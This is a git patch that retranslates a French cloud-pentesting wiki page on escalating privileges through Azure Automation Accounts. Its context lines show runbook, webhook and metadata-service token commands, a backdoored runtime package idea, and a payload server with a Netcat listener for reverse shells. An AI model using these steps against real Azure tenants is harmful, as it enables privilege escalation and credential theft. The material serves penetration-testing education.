From 00eda52e9d15cabb2578b2907765026cda1891a6 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 9 May 2025 11:45:44 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation --- .../az-automation-accounts-privesc.md | 37 ++++++------------- 1 file changed, 11 insertions(+), 26 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md index 15ad083fa..b918d6a30 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -16,14 +16,14 @@ Pour plus d'informations, consultez : Rappelez-vous que si, d'une manière ou d'une autre, un attaquant peut exécuter un runbook arbitraire (code arbitraire) dans un travailleur hybride, il **se déplacera vers l'emplacement de la VM**. Cela pourrait être une machine sur site, un VPC d'un autre cloud ou même une VM Azure. -De plus, si le travailleur hybride s'exécute dans Azure avec d'autres identités gérées attachées, le runbook pourra accéder à l'**identité gérée du runbook et à toutes les identités gérées de la VM depuis le service de métadonnées**. +De plus, si le travailleur hybride fonctionne dans Azure avec d'autres identités gérées attachées, le runbook pourra accéder à l'**identité gérée du runbook et à toutes les identités gérées de la VM depuis le service de métadonnées**. > [!TIP] > Rappelez-vous que le **service de métadonnées** a une URL différente (**`http://169.254.169.254`**) que le service à partir duquel obtenir le jeton d'identités gérées du compte d'automatisation (**`IDENTITY_ENDPOINT`**). - **De la VM à l'Automation Account** -De plus, si quelqu'un compromet une VM où un script de compte d'automatisation s'exécute, il pourra localiser les métadonnées de l'**Automation Account** et y accéder depuis la VM pour obtenir des jetons pour les **Identités Gérées** attachées au compte d'automatisation. +De plus, si quelqu'un compromet une VM où un script de compte d'automatisation est en cours d'exécution, il pourra localiser les métadonnées de l'**Automation Account** et y accéder depuis la VM pour obtenir des jetons pour les **Identités Gérées** attachées au compte d'automatisation. Comme il est possible de le voir dans l'image suivante, avoir un accès Administrateur sur la VM permet de trouver dans les **variables d'environnement du processus** l'URL et le secret pour accéder au service de métadonnées du compte d'automatisation : @@ -32,7 +32,7 @@ Comme il est possible de le voir dans l'image suivante, avoir un accès Administ ### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`) -En résumé, ces autorisations permettent de **créer, modifier et exécuter des Runbooks** dans le compte d'automatisation que vous pourriez utiliser pour **exécuter du code** dans le contexte du compte d'automatisation et élever les privilèges aux **Identités Gérées** assignées et de divulguer des **identifiants** et des **variables chiffrées** stockées dans le compte d'automatisation. +En résumé, ces autorisations permettent de **créer, modifier et exécuter des Runbooks** dans le compte d'automatisation que vous pourriez utiliser pour **exécuter du code** dans le contexte du compte d'automatisation et élever les privilèges aux **Identités Gérées** assignées et divulguer des **identifiants** et des **variables chiffrées** stockées dans le compte d'automatisation. L'autorisation **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** permet de modifier le code d'un Runbook dans le compte d'automatisation en utilisant : ```bash @@ -134,31 +134,16 @@ az rest --method PUT \ }' ``` > [!TIP] -> Dans l'exemple précédent, l'identifiant du jobchedule était laissé comme **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` comme exemple** mais vous devrez utiliser une valeur arbitraire pour créer cette affectation. +> Dans l'exemple précédent, l'identifiant du jobchedule a été laissé comme **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` comme exemple** mais vous devrez utiliser une valeur arbitraire pour créer cette affectation. ### `Microsoft.Automation/automationAccounts/webhooks/write` Avec la permission **`Microsoft.Automation/automationAccounts/webhooks/write`**, il est possible de créer un nouveau Webhook pour un Runbook à l'intérieur d'un compte d'automatisation en utilisant la commande suivante. - -Notez que vous devrez **indiquer l'URI du webhook** avec le token à utiliser. ```bash -az rest --method PUT \ ---url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//webhooks/?api-version=2018-06-30" \ ---body '{ -"name": "", -"properties": { -"isEnabled": true, -"expiryTime": "2026-01-09T20:03:30.291Z", -"parameters": {}, -"runOn": null, -"runbook": { -"name": "" -}, -"uri": "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" -} -}' - -# Then, to call the runbook using the webhook +New-AzAutomationWebHook -Name -ResourceGroupName -AutomationAccountName -RunbookName -IsEnabled $true +``` +Cette commande devrait renvoyer un URI de webhook qui n'est affiché qu'à la création. Ensuite, pour appeler le runbook en utilisant l'URI de webhook +```bash curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \ -H "Content-Length: 0" ``` @@ -207,7 +192,7 @@ az automation source-control create \ ``` Cela importera automatiquement les runbooks du dépôt Github vers le compte d'automatisation et avec quelques autres autorisations pour commencer à les exécuter, il serait **possible d'escalader les privilèges**. -De plus, rappelez-vous que pour que le contrôle de version fonctionne dans les comptes d'automatisation, il doit avoir une identité gérée avec le rôle **`Contributor`** et si c'est une identité gérée par l'utilisateur, l'ID client de l'ID de MI doit être spécifié dans la variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**. +De plus, rappelez-vous que pour que le contrôle de version fonctionne dans les comptes d'automatisation, il doit avoir une identité gérée avec le rôle **`Contributor`** et si c'est une identité gérée par l'utilisateur, l'ID client de l'ID de l'IA doit être spécifié dans la variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**. > [!TIP] > Notez qu'il n'est pas possible de changer l'URL du dépôt d'un contrôle de version une fois qu'il est créé. @@ -230,7 +215,7 @@ az rest --method PUT \ ``` ### Environnements d'exécution personnalisés -Si un compte d'automatisation utilise un environnement d'exécution personnalisé, il pourrait être possible de remplacer un package personnalisé de l'environnement d'exécution par du code malveillant (comme **une porte dérobée**). De cette façon, chaque fois qu'un runbook utilisant cet environnement d'exécution personnalisé est exécuté et charge le package personnalisé, le code malveillant sera exécuté. +Si un compte d'automatisation utilise un environnement d'exécution personnalisé, il pourrait être possible de remplacer un package personnalisé de l'environnement par du code malveillant (comme **une porte dérobée**). De cette façon, chaque fois qu'un runbook utilisant cet environnement d'exécution personnalisé est exécuté et charge le package personnalisé, le code malveillant sera exécuté. ### Compromission de la configuration d'état @@ -270,7 +255,7 @@ Le fichier de configuration est exécuté, ce qui entraîne le déploiement du s - Étape 6 — Héberger le payload et configurer l'écouteur -Un Python SimpleHTTPServer est démarré pour héberger le payload, ainsi qu'un écouteur Netcat pour capturer les connexions entrantes. +Un Python SimpleHTTPServer est démarré pour héberger le payload, avec un écouteur Netcat pour capturer les connexions entrantes. ```bash sudo python -m SimpleHTTPServer 80 sudo nc -nlvp 443